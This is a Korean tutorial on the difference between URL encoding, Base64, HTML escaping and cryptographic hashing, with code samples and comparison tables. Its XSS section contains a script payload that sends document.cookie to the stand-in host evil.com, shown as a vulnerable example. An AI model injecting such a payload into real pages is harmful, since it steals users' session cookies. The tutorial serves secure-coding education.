소프트웨어 엔지니어링에서 데이터 변환은 일상적인 작업입니다. HTTP 요청을 위한 URL 쿼리 파라미터 변환, JSON 내 바이너리 이미지 직렬화, 사용자 입력값의 XSS 무해화, 비밀번호 저장 및 데이터 무결성 검증 등이 대표적입니다.
하지만 인코딩(Encoding), 이스케이프(Escaping), **해싱(Hashing)**은 서로 전혀 다른 수학적·보안적 개념임에도 불구하고 종종 혼동됩니다. 이들의 차이를 명확히 구분하지 못하면 XSS(Cross-Site Scripting), SQL Injection과 같은 치명적인 보안 취약점이 발생합니다.
핵심 개념 정리
- 인코딩 (가역적/복원 가능): 네트워크 계층 간 안전한 데이터 전송을 위해 정보 손실 없이 데이터의 표현 형식을 바꾸는 작업 (예: Base64, URL 인코딩).
- 이스케이프 (컨텍스트 의존적): 특정 파서가 예약어를 실행 코드가 아닌 단순 문자열 데이터로 취급하도록 지시하는 변환 (예: HTML 엔티티 치환).
- 해싱 (단방향/복원 불가): 가변 길이의 임의 데이터를 고정된 길이의 고유한 디지털 지문으로 압축하는 일방향 수학적 변환 (예: SHA-256).
- 인코딩은 보안 수단이 아님: Base64는 암호화가 아니며, 비밀 키 없이 누구나 원래 데이터로 복원할 수 있습니다.
1. URL 퍼센트 인코딩 (Percent-Encoding)
RFC 3986 표준에 따라 URI는 한정된 US-ASCII 문자 집합만을 허용합니다. 비예약 문자 집합(A-Z, a-z, 0-9, -, _, ., ~)에 속하지 않는 모든 문자는 %XX 형태의 16진수 16진 바이트 값으로 치환되어야 합니다.
encodeURI vs encodeURIComponent
자바스크립트 환경에서 적절한 함수를 선택하지 않으면 API 라우팅 에러가 발생합니다:
| 비교 항목 | encodeURI |
encodeURIComponent |
|---|---|---|
| 설계 목적 | 스키마와 호스트가 포함된 완전한 URL 전체 | 쿼리 스트링의 개별 키 또는 값 |
: / ? # & = + 치환 여부 |
치환 안 함 (URL 구조 구분자 유지) | 모두 치환 (%XX로 변경) |
| 사용 예시 | encodeURI('https://site.com/search?q=a+b') |
encodeURIComponent('search term & co') |
// Example breakdown
const query = 'developer tools & utilities = free';
console.log(encodeURIComponent(query));
// Output: "developer%20tools%20%26%20utilities%20%3D%20free"
실시간 쿼리 디버깅에는 당사의 URL Encoder & Decoder를 활용해 보세요.
2. Base64 인코딩: ASCII 스트림으로의 바이너리 표현
Base64(RFC 4648)는 원시 바이너리 데이터를 64개의 인쇄 가능한 표준 ASCII 문자(A–Z, a–z, 0–9, +, /, 패딩을 위한 =)로 재구성합니다.
진법 변환 수학 원리
컴퓨터는 데이터를 8비트 바이트 단위로 다룹니다. Base64는 24비트(3바이트)를 한 단위로 묶은 뒤, 이를 6비트씩 4개의 청크($2^6 = 64$개 인덱스)로 쪼개어 매핑합니다.
$$\text{3 Bytes (24 bits)} \longrightarrow \text{4 Base64 Characters (6 bits each)}$$
입력 3바이트당 항상 4개의 문자가 출력되므로, Base64로 변환된 데이터는 필연적으로 **약 33%의 용량 증가(오버헤드)**가 발생합니다:
$$\text{Encoded Size} \approx \lceil \frac{N}{3} \rceil \times 4 \text{ bytes}$$
// Browser-native Base64 conversions for text
function textToBase64(str) {
return btoa(unescape(encodeURIComponent(str)));
}
function base64ToText(b64) {
return decodeURIComponent(escape(atob(b64)));
}
Base64는 CSS 내 인라인 아이콘 임베딩 등에 적합합니다. Base64 Encoder / Decoder에서 테스트해 보세요.
3. HTML 엔티티 이스케이프: XSS 공격 방어
HTML 이스케이프는 HTML 문법에서 특별한 의미를 갖는 예약 문자를 브라우저가 안전하게 텍스트로 인식하도록 엔티티로 치환하는 절차입니다:
| 원본 문자 | HTML 문법상 의미 | 이스케이프 엔티티 |
|---|---|---|
< |
태그 시작 기호 | < |
> |
태그 종료 기호 | > |
& |
엔티티 시작 기호 | & |
" |
속성값 구분 따옴표 | " |
' |
속성값 구분 따옴표 | ' |
적절한 이스케이프 없이 사용자 입력을 DOM에 직접 삽입하면 악의적인 스크립트가 실행될 수 있습니다:
<!-- Vulnerable injection -->
<div>User comment: <script>fetch('https://evil.com?c=' + document.cookie)</script></div>
<!-- Safe escaped rendering -->
<div>User comment: <script>fetch('https://evil.com?c=' + document.cookie)</script></div>
출력 검증에는 HTML Entity Encoder / Decoder를 사용할 수 있습니다.
4. 암호화 해싱: 단방향 디지털 지문
인코딩과 달리 해싱은 수학적으로 역연산이 불가능합니다. 안전한 암호학적 해시 함수는 다음 네 가지 성질을 만족합니다:
- 제1 역상 저항성 (단방향성): 주어진 해시 $h$에 대해 $H(m) = h$를 만족하는 원본 $m$을 계산해 내는 것이 불가능해야 함.
- 제2 역상 저항성: 특정 입력 $m_1$이 주어졌을 때 $H(m_1) = H(m_2)$가 되는 다른 $m_2$를 찾는 것이 불가능해야 함.
- 충돌 저항성: $H(x) = H(y)$가 되는 임의의 서로 다른 두 입력 $x \neq y$ 쌍을 발견하는 것이 계산상 불가능해야 함.
- 눈사태 효과 (Avalanche Effect): 입력의 단 1비트만 바뀌어도 결과 해시값 전체가 완전히 무작위로 변경되어야 함.
주요 해시 알고리즘 비교
| 알고리즘 | 다이제스트 길이 | 충돌 안전성 | 권장 용도 |
|---|---|---|---|
| MD5 | 128 bits (32 hex) | 취약함 (수초 내 충돌 생성) | 비보안 단순 체크섬으로만 제한 |
| SHA-1 | 160 bits (40 hex) | 취약함 (2017년 SHAttered 증명) | 폐기 대상; SHA-256 권장 |
| SHA-256 | 256 bits (64 hex) | 암호학적으로 안전 | TLS 인증서, Git, API 표준 |
| SHA-512 | 512 bits (128 hex) | 암호학적으로 안전 | 금융 보안 시스템 및 HMAC |
무결성 토큰 생성을 위해 UUID Generator와 Password Generator를 이용해 보세요.
핵심 요약 및 사용 기준
- URL 쿼리 매개변수로 텍스트를 전송할 때: URL 퍼센트 인코딩 사용
- JSON이나 문서에 바이너리를 포함할 때: Base64 인코딩 사용
- 웹 페이지에 동적 사용자 입력을 렌더링할 때: HTML 이스케이프 적용
- 파일의 변조 여부를 검증할 때: 암호학적 해시 알고리즘 사용
자주 묻는 질문
Base64를 복호화할 수 있나요? Base64는 암호화가 아닌 단순 규격 변환이므로, 별도의 암호화 키 없이 표준 도구를 통해 원본 바이너리로 누구나 복원할 수 있습니다.
비밀번호 저장에 SHA-256 단독 사용이 안전한가요? 안전하지 않습니다. 현대 고성능 GPU는 초당 수십억 개의 SHA-256 연산을 수행하므로, 비밀번호 해싱에는 솔트(Salt)와 함께 Argon2id나 bcrypt처럼 메모리 소모가 큰 알고리즘을 사용해야 합니다.
URL 인코딩 시 공백이 왜 %20과 +로 나뉘나요?
RFC 3986 경로 규격에서는 공백을 %20으로 인코딩해야 하지만, 과거 웹 폼 전송 표준인 application/x-www-form-urlencoded 규격에서는 공백을 +로 표기하도록 정의했기 때문입니다.